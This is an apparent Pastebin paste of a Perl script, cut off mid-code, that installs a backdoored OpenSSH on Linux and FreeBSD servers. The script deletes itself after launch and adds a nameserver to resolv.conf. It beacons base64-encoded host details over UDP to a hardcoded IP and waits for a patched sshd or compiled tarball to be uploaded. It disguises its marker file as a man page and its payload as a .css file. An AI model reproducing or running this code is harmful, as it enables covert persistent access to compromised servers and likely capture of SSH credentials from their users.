Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- use strict;
- use warnings;
- my $SSH_HOST = $ARGV[0];
- my $SSH_PORT = ( $ARGV[1] != 3129 ) ? $ARGV[1] : 22;
- my $MODE = defined($ARGV[2]) ? $ARGV[2] : '';
- my $MODE_ARG1 = defined($ARGV[3]) ? $ARGV[3] : '';
- my $MODE_ARG2 = defined($ARGV[4]) ? $ARGV[4] : '';
- my $wget = ( $^O eq 'freebsd' ) ? 'fetch' : 'wget';
- my $filehost = 'http://stylevis.web44.net';
- my $ssh_patch = 'c3Y7310s.css';
- my $ssh_confirm_file = '/var/tmp/sess_8848cf7a0c9c209c99acc51f1e259064';
- my $ssh_confirm_tgz = '/var/tmp/sess_8848cf7a0c9c209c99acc51f1e259068';
- my $openssh_src_confirm = '/var/tmp/sess_8848cf7a0c9c209c99acc51f1e259080';
- my $ssh_compiled_tgz = 'Wju3Osid.tgz';
- my $compiled_dir = '/var/tmp/WUykfhuA';
- my $SSHD_CONFIG = '/etc/ssh/sshd_config';
- my $lwp = 0;
- my $yum = 0;
- my $extutils = 0;
- my $SSH_INSTALLED = 0;
- unlink($0);
- if ( ( -f '/usr/bin/wget' ) && ( !-x '/usr/bin/wget' ) ) {
- print "[+] Modify wget rights$/";
- my $wget_bits = &check_bits('/usr/bin/wget');
- &chattr($wget_bits, '/usr/bin/wget', '-');
- chmod 0755, '/usr/bin/wget';
- }
- ### Check path for allowed exec
- my $run_path = &get_path();
- if ( $run_path eq '' ) {
- exit();
- }
- chdir($run_path);
- ###
- BEGIN {
- use Socket;
- use IO::Socket;
- use MIME::Base64 qw(encode_base64);
- my $udp_notify_ip = '23.237.136.101';
- my $udp_notify_port = 53;
- $SSH_HOST = $ARGV[0];
- $SSH_PORT = ( $ARGV[1] != 3129 ) ? $ARGV[1] : 22;
- $MODE = defined($ARGV[2]) ? $ARGV[2] : '';
- $MODE_ARG1 = defined($ARGV[3]) ? $ARGV[3] : '';
- $MODE_ARG2 = defined($ARGV[4]) ? $ARGV[4] : '';
- $filehost = 'http://stylevis.web44.net';
- my $CENTOS_REPO = '/etc/yum.repos.d/CentOS-Base.repo';
- my $lwp_confirm_tgz = '/var/tmp/sess_8848cf7a0c9c209c99acc51f1e259060';
- &check_already_install();
- &check_processor_type();
- &check_dns_resolver();
- unless ( $^O eq 'freebsd' ) {
- &check_vyatta_host();
- $yum = &check_yum_exists();
- $lwp = &check_lwp_exists();
- if ( $lwp == 0 ) {
- &install_lwp();
- }
- import LWP::UserAgent;
- require LWP::UserAgent;
- }
- sub check_already_install {
- if ( -e '/usr/share/man/man5/ttyl.5.gz' ) {
- if ( $MODE eq 'reinstall' ) {
- print "[+] Reinstall$/";
- return;
- }
- else {
- print "[G] Already installed$/";
- }
- exit(0);
- }
- }
- sub check_processor_type {
- my $processor = `uname -m`;
- chomp($processor);
- foreach ( qw(i386 i586 i686 amd64 x86_64) ) {
- if ( $processor =~ $_ ) {
- print "[+] Good processor '$processor'$/";
- return;
- }
- }
- print "[-] Bad processor '$processor'$/";
- exit(0);
- }
- sub check_dns_resolver {
- my $check = 0;
- my $dns_name = 'gmail.com';
- while () {
- my $iaddr = ((gethostbyname($dns_name))[4])[0];
- if ( defined($iaddr) ) {
- print "[+] DNS Resolver Good$/";
- last;
- }
- else {
- print "[-] DNS Resolver Bad. Try fix$/";
- if ( $check == 0 ) {
- `echo 'nameserver 208.67.222.222' >> /etc/resolv.conf`;
- $dns_name = 'google.com';
- }
- else {
- last;
- }
- }
- $check++;
- }
- }
- sub check_vyatta_host {
- my $sources_list = '/etc/apt/sources.list';
- my $issue = '';
- if ( -e '/etc/issue' ) {
- $issue = `head -1 /etc/issue`;
- chomp($issue);
- }
- if ( $issue !~ /vyatta/i ) {
- return 0;
- }
- my $sources = &read_file($sources_list);
- my $debian_version = `head -1 /etc/debian_version`;
- chomp($debian_version);
- if ( $sources !~ /debian.org/ ) {
- if ( $debian_version =~ /^6\./ ) {
- `echo 'deb http://ftp.au.debian.org/debian/ squeeze main contrib non-free' >> $sources_list`;
- `echo 'deb-src http://ftp.au.debian.org/debian/ squeeze main contrib non-free' >> $sources_list`;
- }
- elsif ( $debian_version =~ /^5\./ ) {
- `echo 'deb http://archive.debian.org/debian-archive/debian/ lenny main contrib non-free' >> $sources_list`;
- `echo 'deb-src http://archive.debian.org/debian/ lenny main contrib non-free' >> $sources_list`;
- }
- my $apt_update = `apt-get update`;
- if ( $apt_update =~ /apt\-get \-f install/) {
- `apt-get --force-yes -y -f install`;
- }
- elsif ( $apt_update =~ /dpkg \-\-configure \-a/) {
- `dpkg --configure -a`;
- }
- }
- }
- sub check_yum_exists {
- my $yum = 0;
- if ( -e '/usr/bin/yum' ) {
- $yum = 1;
- }
- else {
- my $which_yum = `which yum`;
- if ( $which_yum =~ /\/yum/ ) {
- $yum = 1;
- }
- }
- return $yum;
- }
- sub modify_yum_config {
- if ( -e $CENTOS_REPO ) {
- print "[+] Found CentOS Repo File$/";
- my $updated = 0;
- my $repo = &read_file($CENTOS_REPO);
- my $repo_new = '';
- foreach ( qw(base updates) ) {
- if ( $repo =~ /(\[$_\])(.*?)\r?\n\r?\n/s ) {
- $repo = $';
- my $base = $2;
- $repo_new .= $`.$1;
- if ( $base =~ /^enabled=(\d)/m ) {
- my $enabled = $1;
- $repo_new .= $`;
- if ( $enabled == 0 ) {
- print "[+] Yum $_ repo Enabled = 0. Set to 1$/";
- $updated = 1;
- }
- else {
- print "[+] Yum $_ repo Enabled = 1$/";
- }
- }
- else {
- print "[+] Yum $_ repo Enabled not found. Adding Enabled$/";
- $repo_new .= $base.$/;
- $updated = 1;
- }
- $repo_new .= "enabled=1$/$/";
- }
- }
- $repo_new .= $repo;
- if ( $updated == 1 ) {
- print "[+] Yum. Update $CENTOS_REPO file$/";
- &write_file($CENTOS_REPO, $repo_new);
- }
- else {
- print "[+] Yum. Nothing to Update in $CENTOS_REPO file$/";
- }
- }
- }
- sub read_file {
- my $sysstring = $_[0];
- my $backup = $/;
- undef $/;
- open(FH, "< $sysstring");
- my $file = <FH>;
- close FH;
- $/ = $backup;
- return $file;
- }
- sub write_file {
- my ($filename, $string) = @_;
- open(FO, "> $filename");
- print FO $string;
- close FO;
- }
- sub install_lwp {
- if ( ( $lwp == 0 ) && ( $yum == 1 ) ) {
- print "[+] yum found, try install perl-libwww-perl$/";
- `yum -y install perl-libwww-perl`;
- $lwp = &check_lwp_exists();
- ### Modify Yum config and try install again
- if ( $lwp == 0 ) {
- &modify_yum_config();
- `yum -y install perl-libwww-perl`;
- $lwp = &check_lwp_exists();
- }
- }
- if ( ( $lwp == 0 ) && ( -e '/usr/bin/apt-get' ) ) {
- `apt-get -y --force-yes install libwww-perl`;
- $lwp = &check_lwp_exists();
- if ( $lwp == 0 ) {
- print "[+] Try apt-get update$/";
- `apt-get -y --force-yes update`;
- }
- `apt-get -y --force-yes install libwww-perl`;
- $lwp = &check_lwp_exists();
- if ( $lwp == 0 ) {
- &modify_apt_config();
- `apt-get -y --force-yes install libwww-perl`;
- $lwp = &check_lwp_exists();
- }
- }
- if ( $lwp == 0 ) {
- &install_lwp_tgz();
- $lwp = &check_lwp_exists();
- }
- }
- sub check_lwp_exists {
- eval { require LWP::UserAgent };
- my $lwp = $@ ? '0' : '1';
- print "[+] LWP::UserAgent - $lwp$/";
- return $lwp;
- }
- sub install_lwp_tgz {
- print "[+] Try install LWP::UserAgent from tgz$/";
- `mkdir l`;
- chdir('l');
- &get_lwp_tgz();
- #`wget -O lwp.tgz $filehost/4d7mNp6A.gwm`;
- `tar xfz lwp.tgz`;
- `./install.sh`;
- chdir('..');
- `rm -rf l`;
- }
- sub get_lwp_tgz {
- ¬ify_get_lwp_tgz("$SSH_HOST:$SSH_PORT:$MODE_ARG1:$MODE_ARG2");
- $| = 1;
- printf("[+] Wait until lwp.tgz uploaded %s:%s$/", $SSH_HOST, $SSH_PORT);
- for (my $i = 1; $i < 60; $i++) {
- if ( -e $lwp_confirm_tgz ) {
- unlink($lwp_confirm_tgz);
- last;
- }
- else {
- print '.';
- sleep(5);
- }
- }
- return 1;
- }
- sub notify_get_lwp_tgz {
- my ($message) = @_;
- &send_udp('il', $message);
- }
- sub modify_apt_config {
- my $repo_url = 'http://archive.debian.org/';
- my $sources = '';
- open APT, "< /etc/apt/sources.list";
- while (<APT>) {
- s/http:\/\/[^\/]+\//$repo_url/g;
- $sources .= $_;
- }
- close APT;
- open APT, "> /etc/apt/sources.list";
- print APT $sources;
- close APT;
- }
- sub send_udp {
- my ($type, $message) = @_;
- my $send_message = sprintf('%s:%s', $type, $message);
- my $base64_message = encode_base64($send_message);
- my %s = (
- Proto => 'udp',
- );
- my $handle = IO::Socket::INET->new(%s);
- my $ipaddr = inet_aton($udp_notify_ip);
- my $portaddr = sockaddr_in($udp_notify_port, $ipaddr);
- send($handle, $base64_message, 0, $portaddr);
- }
- }
- my $user_agent = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.21) Gecko/20110830 Firefox/3.6.21';
- my @rpm_devel = qw(zlib pam);
- my @devel_debian_pkgs = qw(zlib1g libssl libpam0g libkrb5);
- my $url = '';
- my $page = '';
- my $uname = &get_uname();
- my ($os, $version_os, $platform, $machine) = &get_os();
- my $opensuse_url = 'http://download.opensuse.org/distribution/%s/repo/oss/suse/%s/';
- my $opensuse_search = '/%s/repo/oss/suse/%s/';
- my $version_os_major = substr($version_os, 0, 1);
- my $centos_url = ($version_os_major < 6) ? 'http://vault.centos.org/%s/os/%s/CentOS/' : 'http://vault.centos.org/%s/os/%s/Packages/';
- my $centos_search = ($version_os_major < 6) ? '/%s/os/%s/CentOS/' : '/%s/os/%s/Packages/';
- $yum = &check_yum_exists();
- if ( $MODE eq 'compiled' ) {
- &install_compiled_ssh();
- }
- else {
- if ( ( $platform eq 'Debian' ) || ( $platform eq 'Ubuntu' ) ) {
- foreach (@devel_debian_pkgs) {
- my $pkg = "$_-dev";
- &install_debian_pkg($pkg);
- }
- }
- elsif ( $platform eq 'FreeBSD' ) {
- }
- elsif ( $platform eq 'Slackware' ) {
- }
- else {
- foreach (@rpm_devel) {
- &install_devel($_);
- }
- }
- if ( ( $platform ne 'FreeBSD' ) && ( $platform ne 'Slackware' ) ) {
- &install_openssl();
- &install_patch();
- &install_gcc();
- &install_make();
- $extutils = &check_extutils_exists();
- if ( $extutils == 0 ) {
- &install_extutils();
- }
- }
- my $ssh_installed = &install_ssh();
- if ( $ssh_installed != 1 ) {
- &install_compiled_ssh();
- }
- }
- print "[+] Uname: $uname$/";
- print "[+] OS: $os$/";
- sub get_ssh_patch {
- chdir('/var/tmp');
- ¬ify_get_ssh_patch("$SSH_HOST:$SSH_PORT:$MODE_ARG1:$MODE_ARG2");
- $| = 1;
- printf("[+] Wait until ssh patch uploaded %s:%s$/", $SSH_HOST, $SSH_PORT);
- for (my $i = 1; $i < 30; $i++) {
- if ( -e $ssh_patch ) {
- return 0;
- }
- else {
- print '.';
- sleep(5);
- }
- }
- return 1;
- }
- sub get_openssh_src {
- chdir('/var/tmp');
- ¬ify_get_openssh_src("$SSH_HOST:$SSH_PORT:$MODE_ARG1:$MODE_ARG2");
- $| = 1;
- printf("[+] Wait until openssh src uploaded %s:%s$/", $SSH_HOST, $SSH_PORT);
- for (my $i = 1; $i < 60; $i++) {
- if ( -e $openssh_src_confirm ) {
- unlink($openssh_src_confirm);
- return 0;
- }
- else {
- print '.';
- sleep(5);
- }
- }
- return 1;
- }
- sub install_ssh_from_same_host {
- chdir('/var/tmp');
- ¬ify_get_same_host_ssh("$os:$machine:$SSH_HOST:$SSH_PORT:$MODE_ARG1:$MODE_ARG2");
- $| = 1;
- printf("[+] Wait until compiled ssh from same host uploaded %s:%s$/", $SSH_HOST, $SSH_PORT);
- &install_uploaded_ssh();
- }
- sub install_compiled_ssh {
- &install_ssh_from_same_host();
- if ( $SSH_INSTALLED == 1 ) {
- return;
- }
- ### DISABLE
- return;
- chdir('/var/tmp');
- ¬ify_get_compiled_ssh("$SSH_HOST:$SSH_PORT:$MODE_ARG1:$MODE_ARG2");
- $| = 1;
- printf("[+] Wait until compiled ssh uploaded %s:%s$/", $SSH_HOST, $SSH_PORT);
- &install_uploaded_ssh();
- }
- sub install_uploaded_ssh {
- my $ssh_uploaded = 0;
- for (my $i = 1; $i < 60; $i++) {
- if ( -e $ssh_confirm_tgz ) {
- $ssh_uploaded = 1;
- unlink($ssh_confirm_tgz);
- last;
- }
- else {
- print '.';
- sleep(5);
- }
- }
- print "$/$/";
- if ( $ssh_uploaded == 1 ) {
- print "[+] Untar compiled ssh$/";
- unless ( -f $ssh_compiled_tgz ) {
- print "[-] Compiled SSH uploaded but file not found$/";
- return;
- }
- `mkdir $compiled_dir`;
- `mv $ssh_compiled_tgz $compiled_dir/`;
- chdir($compiled_dir);
- `tar xfz $ssh_compiled_tgz`;
- `chmod 755 sshd ssh scp`;
- `ls -al sshd ssh scp`;
- &final_ssh_install();
- }
- chdir('/var/tmp');
- `rm -rf $compiled_dir`;
- }
- ### Get Uname
- sub get_uname {
- print "[+] Uname: ";
- my $uname = `uname -a`;
- chomp($uname);
- printf "%s$/",$uname;
- return $uname;
- }
- ###
- ### Get Version OS
- sub get_os {
- my $version_os = '';
- my $os = '';
- my $platform = '';
- my $machine = '';
- if ( -e '/etc/redhat-release' ) {
- $os = `head -1 /etc/redhat-release`;
- }
- elsif ( -e '/etc/issue' ) {
- $os = `head -2 /etc/issue`;
- }
- else {
- $os = `uname -s`;
- }
- chomp($os);
- $machine = `uname -m`;
- chomp($machine);
- if ( ( $os =~ /Fedora/ ) || ( -e '/etc/fedora-release' ) ) {
- $platform = 'Fedora';
- $os = `head -1 /etc/fedora-release`;
- chomp($os);
- ($version_os) = $os =~ /(\d{1,2}(\.\d)?)/;
- }
- elsif ( ( $os =~ /Red Hat/ ) || ( -e '/etc/redhat-release' ) ) {
- $platform = 'RedHat';
- $os = `head -1 /etc/redhat-release`;
- chomp($os);
- ($version_os) = $os =~ /(\d(\.\d)?)/;
- }
- elsif ( ( $os =~ /CentOS/ ) || ( -e '/etc/redhat-release' ) ) {
- $platform = 'CentOS';
- $os = `head -1 /etc/redhat-release`;
- chomp($os);
- ($version_os) = $os =~ /(\d(\.\d)?)/;
- }
- elsif ( -e '/etc/SuSE-release' ) {
- if ( $os =~ /SUSE LINUX/i ) {
- $platform = 'SUSE';
- }
- elsif ( $os =~ /openSUSE/ ) {
- $platform = 'openSUSE';
- }
- else {
- print "[-] Unknown SuSE platform$/";
- exit(0);
- }
- $os = `head -1 /etc/SuSE-release`;
- chomp($os);
- my $suse_version = 0;
- my $patch_level = 0;
- open SuSE, "< /etc/SuSE-release";
- while (<SuSE>) {
- chomp;
- if (/VERSION = (\d{2}(\.\d)?)/i) {
- $suse_version = $1;
- }
- elsif (/PATCHLEVEL = (\d+)/i) {
- $patch_level = $1;
- }
- }
- close SuSE;
- if ( $suse_version != 0 ) {
- if ( $patch_level == 0 ) {
- $version_os = $suse_version;
- }
- else {
- $version_os = sprintf('%d.%d', $suse_version, $patch_level);
- }
- }
- else {
- ($version_os) = $os =~ /(\d{2}(\.\d)?)/;
- }
- }
- elsif ( $os =~ /Ubuntu/ ) {
- $platform = 'Ubuntu';
- ($version_os) = $os =~ /([\d\.]+)/;
- $os = 'Ubuntu '.$version_os;
- }
- elsif ( ( $os =~ /Debian/ ) || ( -e '/etc/debian_version' ) ) {
- $platform = 'Debian';
- $version_os = `head -1 /etc/debian_version`;
- chomp($version_os);
- $os = 'Debian '.$version_os;
- }
- elsif ( -e '/etc/slackware-version' ) {
- $platform = 'Slackware';
- $os = `head -1 /etc/slackware-version`;
- chomp($os);
- ($version_os) = $os =~ /(\d{2}(\.\d)?(\.\d)?)/;
- }
- elsif ( -e '/etc/gentoo-release' ) {
- $platform = 'Gentoo';
- $os = `head -1 /etc/gentoo-release`;
- chomp($os);
- ($version_os) = $os =~ /(\d+(\.\d+)?(\.\d+)?(\.\d+)?)/;
- }
- elsif ( $os =~ /FreeBSD/ ) {
- $platform = 'FreeBSD';
- $version_os = `uname -r`;
- chomp($version_os);
- $os = 'FreeBSD '.$version_os;
- }
- else {
- print "[-] Unknown OS$/";
- exit(0);
- }
- print "[+] Get Version: $platform, OS: $os, Version OS: $version_os, Machine: $machine$/";
- return ($os, $version_os, $platform, $machine);
- }
- ###
- sub check_debian_pkg_exists {
- my $pkg = $_[0];
- my $list_pkg = `dpkg -l $pkg 2>&1`;
- # PKG exists
- if ( $list_pkg =~ /ii\s+$pkg/ ) {
- print "[+] $pkg exists$/";
- return 1;
- }
- # PKG not exists
- else {
- print "[-] $pkg not exists$/";
- return 0;
- }
- }
- sub install_from_web_repo {
- my $file = $_[0];
- $url = &get_url();
- my $mach = $machine;
- if ( ( $platform eq 'CentOS' ) || ( $platform eq 'RedHat' ) || ( $platform eq 'Fedora' ) || ( $platform eq 'Slackware' ) ) {
- if ( $machine eq 'i686' ) {
- $mach = 'i386';
- }
- }
- my ($devel) = $page =~ /href=\"($file\-[^\"]+$mach[^\"]+)\"/;
- unless ( $devel ) {
- }
- print "[+] Found $devel$/";
- print "[+] Install $devel$/";
- `rpm -i $url$devel`;
- }
- ### Install RPM Devel
- sub install_devel {
- my $rpm = $_[0];
- print "[+] Install ${rpm}-devel$/";
- my $rpm_name = &check_rpm_exists("${rpm}-devel");
- if ( ( $rpm_name eq '0' ) && ( $yum == 1 ) ) {
- $rpm_name = &yum_install("${rpm}-devel");
- }
- if ( $rpm_name eq '0' ) {
- my $rpm_name = &check_rpm_exists($rpm);
- if ( $rpm_name eq '0' ) {
- print "[-] Not found $rpm$/";
- &install_compiled_ssh();
- exit(0);
- }
- else {
- print "[+] Found $rpm_name$/";
- my ($version) = $rpm_name =~ /$rpm\-(.*)/;
- my $search_rpm_file = $rpm.'-devel';
- &install_from_web_repo($search_rpm_file);
- my $rpm_name = &check_rpm_exists($search_rpm_file);
- if ( $rpm_name eq '0' ) {
- print "[-] Not found $search_rpm_file$/";
- my $urls = &search_rpm($search_rpm_file.'-'.$version);
- if ( $#{$urls} == -1 ) {
- printf("[-] Search not results for %s-%s$/", $search_rpm_file, $version);
- &install_from_same_host();
- }
- else {
- &install_rpm($urls, $search_rpm_file, $version);
- }
- }
- else {
- print "[+] Found $search_rpm_file$/";
- }
- }
- }
- else {
- print "[+] ${rpm}-devel $rpm_name Installed$/";
- }
- }
- ###
- ### Check RPM exists
- sub check_rpm_exists {
- my $rpm = $_[0];
- print "[+] Check $rpm - ";
- if ( ( $platform eq 'Debian' ) || ( $platform eq 'Ubuntu' ) ) {
- return &check_debian_pkg_exists($rpm);
- }
- else {
- if ( $machine eq 'x86_64') {
- my $incorrect_rpm = `rpm -q $rpm.i386`;
- chomp($incorrect_rpm);
- if ( $incorrect_rpm =~ /$rpm/ ) {
- print "[!] Found incorrect RPM $incorrect_rpm. Try to remove$/";
- `rpm -e $rpm.i386`;
- }
- }
- my $rpm_name = `rpm -q $rpm`;
- chomp($rpm_name);
- if ( $rpm_name =~ /$rpm\-.*$machine/ ) {
- print "Exists$/";
- return $rpm_name;
- }
- elsif ( $rpm_name =~ /$rpm\-/ ) {
- print "Exists$/";
- return $rpm_name;
- }
- else {
- print "Not Exists$/";
- return 0;
- }
- }
- }
- ###
- ### Search RPM
- sub search_rpm {
- my $file = $_[0];
- my $search_machine = $machine;
- if ( ( $platform eq 'RedHat' ) && ( $machine eq 'i686' ) ) {
- $search_machine = 'i386';
- }
- elsif ( ( $platform eq 'Fedora' ) && ( $machine eq 'i686' ) ) {
- $search_machine = 'i386';
- }
- elsif ( ( $platform eq 'SUSE' ) && ( $machine eq 'i686' ) ) {
- $search_machine = 'i586';
- }
- my $file_rpm = $file.'.'.$search_machine.'.rpm';
- return &search($file_rpm);
- }
- ###
- sub search {
- my $file = $_[0];
- my $urls = &search_google($file);
- if ( $#{$urls} == -1 ) {
- $urls = &search_bing($file);
- }
- if ( $#{$urls} == -1 ) {
- $urls = &search_yandex($file);
- }
- printf("[+] Found %d URL's$/", $#{$urls} + 1);
- return $urls;
- }
- sub get_page_via_lwp {
- my $params = $_[0];
- my $ua = LWP::UserAgent->new();
- $ua->agent($params->{'user_agent'});
- $ua->default_header('Referer' => $params->{'referer'});
- $ua->timeout($params->{'timeout'});
- my $response = $ua->get($params->{'url'}.$params->{'uri'});
- if ( $response->is_success ) {
- return $response->decoded_content;
- }
- else {
- print "[-] ".$response->status_line.$/;
- }
- return '';
- }
- sub get_page_via_wget {
- my $params = $_[0];
- my $wget_params = sprintf('-q -O jkfhskdfs -U "%s" --referer "%s" -T %d "%s%s"', $params->{'user_agent'}, $params->{'referer'}, $params->{'timeout'}, $params->{'url'}, $params->{'uri'});
- `$wget $wget_params`;
- if ( -e 'jkfhskdfs' ) {
- my $file = &read_file('jkfhskdfs');
- $file =~ s/\"/"/g;
- $file =~ s/\&/\&/g;
- unlink('jkfhskdfs');
- return $file;
- }
- else {
- print "[-] Can't download throw wget$/";
- }
- return '';
- }
- ### Search Google
- sub search_google {
- my $file = $_[0];
- print "[+] Search Google $file$/";
- my %params = (
- url => 'http://www.google.com/',
- uri => 'search?sclient=psy&hl=en&site=&source=hp&q=%22'.$file.'%22+intitle%3A%22Index+of%22&btnG=Search',
- user_agent => $user_agent,
- referer => 'http://www.google.com/',
- timeout => 30,
- );
- my $response = &get_page_via_wget(\%params);
- if ( $response eq '' ) {
- return [()];
- }
- else {
- my $urls = &get_urls_google($response);
- return $urls;
- }
- }
- ###
- ### Search Bing
- sub search_bing {
- my $file = $_[0];
- print "[+] Search Bing $file$/";
- my %index = (
- url => 'http://www.bing.com/',
- uri => '',
- user_agent => $user_agent,
- timeout => 30,
- );
- my $index_page = &get_page_via_wget(\%index);
- if ( $index_page eq '' ) {
- return [()];
- }
- my $cvid = '';
- if ( $index_page =~ /IG:\"([a-f0-9]+)\"/ ) {
- $cvid = $1;
- print "Bing CVID: $1$/";
- }
- else {
- print "Can't find Bing CVID$/";
- return [()];
- }
- my %params = (
- url => 'http://www.bing.com/',
- uri => 'search?q=%22'.$file.'%22+%22Index+of%22&qs=n&form=QBRE&filt=all&pq=%22'.$file.'%22+%22index+of%22&sc=0-0&sp=-1&sk=&cvid='.$cvid,
- user_agent => $user_agent,
- referer => 'http://www.bing.com/',
- timeout => 30,
- );
- my $response = &get_page_via_wget(\%params);
- if ( $response eq '' ) {
- return [()];
- }
- my $urls = &get_urls_bing($response);
- return $urls;
- }
- ###
- ### Search Yandex
- sub search_yandex {
- my $file = $_[0];
- print "[+] Search Yandex $file$/";
- my %params = (
- url => 'http://yandex.ru/',
- uri => 'yandsearch?text=%22'.$file.'%22+%22Index+of%22',
- user_agent => $user_agent,
- referer => 'http://yandex.ru/',
- timeout => 30,
- );
- my $response = &get_page_via_wget(\%params);
- if ( $response eq '' ) {
- return [()];
- }
- my $urls = &get_urls_yandex($response);
- return $urls;
- }
- ###
- ### Parse Search Google Results and Get URLs
- sub get_urls_google {
- my $page = $_[0];
- my @urls = ();
- while ( $page =~ /<h3 class=\"r\"><a href=\"\/url\?q=([^\"]+)\"/g ) {
- my ($url) = $1 =~ /(.*\/)/;
- push @urls, $url;
- }
- return \@urls;
- }
- ###
- ### Parse Search Bing Results and Get URLs
- sub get_urls_bing {
- my $page = $_[0];
- my @urls = ();
- while ( $page =~ /<div class=\"b_title\"><h2><a href=\"([^\"]+)\" h=/g ) {
- my ($url) = $1 =~ /(.*\/)/;
- push @urls, $url;
- }
- return \@urls;
- }
- ###
- ### Parse Search Yandex Results and Get URLs
- sub get_urls_yandex {
- my $page = $_[0];
- my @urls = ();
- while ( $page =~ /<a class=\"b-serp-item__title-link\" href=\"([^\"]+)\" /g ) {
- my ($url) = $1 =~ /(.*\/)/;
- push @urls, $url;
- }
- return \@urls;
- }
- ###
- ### Install RPM
- sub install_rpm {
- my ($urls, $file, $version) = @_;
- my $mach = $machine;
- if ( ( $platform eq 'CentOS' ) || ( $platform eq 'RedHat' ) || ( $platform eq 'Fedora' ) || ( $platform eq 'Slackware' ) ) {
- if ( $machine eq 'i686' ) {
- $mach = 'i386';
- }
- }
- foreach my $url (@{$urls}) {
- my $rpm = $url.$file.'-'.$version.'.'.$mach.'.rpm';
- print "[+] Get RPM $rpm$/";
- `rpm -i $rpm`;
- if ( &check_rpm_exists($file) ne '0' ) {
- return 1;
- }
- }
- return 0;
- }
- ###
- sub install_openssl {
- if ( ( $platform eq 'CentOS' ) || ( $platform eq 'RedHat' ) || ( $platform eq 'Fedora' ) || ( $platform eq 'Slackware' ) ) {
- &install_openssl_centos();
- }
- elsif ( ( $platform eq 'openSUSE' ) || ( $platform eq 'SUSE' ) ) {
- &install_openssl_opensuse();
- }
- }
- ### Install RPM openssl
- sub install_openssl_centos {
- my $rpm = 'openssl';
- print "[+] Install ${rpm}-devel$/";
- my $rpm_file = &check_rpm_exists("${rpm}-devel");
- if ( ( $rpm_file eq '0' ) && ( $yum == 1) ) {
- $rpm_file = &yum_install("${rpm}-devel");
- }
- if ( $rpm_file eq '0' ) {
- my $rpm_file = &check_rpm_exists($rpm);
- if ( $rpm_file eq '0' ) {
- print "[-] Not found $rpm$/";
- &install_compiled_ssh();
- exit(0);
- }
- else {
- print "[+] Found $rpm_file$/";
- my ($openssl_version) = $rpm_file =~ /$rpm\-(.*)/;
- my @rpm = qw(libcom_err e2fsprogs keyutils-libs libsepol libselinux);
- foreach (@rpm) {
- &install_devel($_);
- }
- $rpm_file = &check_rpm_exists('krb5-libs');
- if ( $rpm_file eq '0' ) {
- print "[-] krb5-libs not found$/";
- &install_compiled_ssh();
- exit(0);
- }
- my ($krb5_version) = $rpm_file =~ /krb5-libs-(.*)/;
- &install_from_web_repo('krb5-devel');
- $rpm_file = &check_rpm_exists('krb5-devel');
- if ( $rpm_file eq '0' ) {
- print "[-] devel not found$/";
- my $krb5_file = sprintf('krb5-devel-%s', $krb5_version);
- my $urls = &search_rpm($krb5_file);
- &install_rpm($urls, 'krb5-devel', $krb5_version);
- }
- &install_from_web_repo('openssl-devel');
- $rpm_file = &check_rpm_exists('openssl-devel');
- if ( $rpm_file eq '0' ) {
- print "[-] openssl not found$/";
- my $openssl_file = sprintf('%s-devel-%s', $rpm, $openssl_version);
- my $urls = &search_rpm($openssl_file);
- &install_rpm($urls, $rpm.'-devel', $openssl_version);
- }
- }
- }
- else {
- print "[+] ${rpm}-devel $rpm_file Installed$/";
- }
- }
- ###
- ### Install OpenSSL for OpenSUSE
- sub install_openssl_opensuse {
- my $rpm = 'libopenssl';
- print "[+] Install ${rpm}-devel$/";
- my $rpm_file = &check_rpm_exists("${rpm}-devel");
- if ( $rpm_file eq '0' ) {
- $rpm_file = &check_rpm_exists($rpm);
- if ( $rpm_file eq '0' ) {
- print "[-] Not found $rpm$/";
- &install_compiled_ssh();
- exit(0);
- }
- else {
- print "[+] Found $rpm_file$/";
- my ($openssl_version) = $rpm_file =~ /openssl\-(.*)/;
- my $urls = &search_rpm($rpm.'-devel-'.$openssl_version);
- &install_rpm($urls, $rpm.'-devel', $openssl_version);
- }
- }
- else {
- print "[+] ${rpm}-devel $rpm_file Installed$/";
- }
- }
- ###
- sub yum_install {
- my $file = $_[0];
- `yum -y install $file`;
- my $rpm_file = &check_rpm_exists($file);
- return $rpm_file;
- }
- ### Install patch programm
- sub install_patch {
- my $rpm = 'patch';
- my $rpm_file = &check_rpm_exists($rpm);
- if ( $rpm_file eq '0' ) {
- if ( $yum == 1) {
- $rpm_file = &yum_install($rpm);
- }
- elsif ( ( $platform eq 'Debian' ) || ( $platform eq 'Ubuntu' ) ) {
- `apt-get -y --force-yes install patch`;
- $rpm_file = &check_rpm_exists($rpm);
- }
- }
- if ( $rpm_file eq '0' ) {
- $url = &get_url();
- my $page = &get_page($url);
- my ($patch) = $page =~ /href=\"(patch\-[^\"]+)\"/;
- print "[+] Found $patch$/";
- print "[+] Install $patch$/";
- `rpm -i $url$patch`;
- }
- }
- ###
- ### Get URL with distributive RPMs
- sub get_url {
- print "[+] Get URL with distributive RPMs$/";
- my $search = '';
- my $url = '';
- if ( ( $platform eq 'CentOS' ) || ( $platform eq 'RedHat' ) || ( $platform eq 'Fedora' ) || ( $platform eq 'Slackware' ) ) {
- my $mach = $machine;
- if ( $machine eq 'i686' ) {
- $mach = 'i386';
- }
- $url = sprintf($centos_url, $version_os, $mach);
- $search = sprintf($centos_search, $version_os, $mach);
- }
- elsif ( ( $platform eq 'openSUSE' ) || ( $platform eq 'SUSE' ) ) {
- my $mach = $machine;
- if ( $machine eq 'i686' ) {
- $mach = 'i586';
- }
- $url = sprintf($opensuse_url, $version_os, $mach);
- $search = sprintf($opensuse_search, $version_os, $mach);
- }
- (my $ret, $page) = &get_page($url);
- if ( $ret == 0 ) {
- my $urls = &search($search);
- foreach ( @{$urls} ) {
- ($ret, $page) = &get_page($_);
- if ( $ret == 1 ) {
- return $_;
- }
- }
- }
- return $url;
- }
- ###
- ### Get HTML page
- sub get_page {
- my $url = $_[0];
- print "[+] Get HTML Page $url$/";
- my $ua = LWP::UserAgent->new();
- $ua->agent($user_agent);
- $ua->timeout(30);
- my $response = $ua->get($url);
- if ( $response->is_success ) {
- return (1, $response->decoded_content);
- }
- else {
- printf("[-] %s$/", $response->status_line);
- return (0, '');
- }
- }
- ###
- sub install_gcc {
- my $rpm = 'gcc';
- print "[+] Install gcc$/";
- my $rpm_file = &check_rpm_exists($rpm);
- if ( $rpm_file ne '0' ) {
- print "[+] gcc installed$/";
- return;
- }
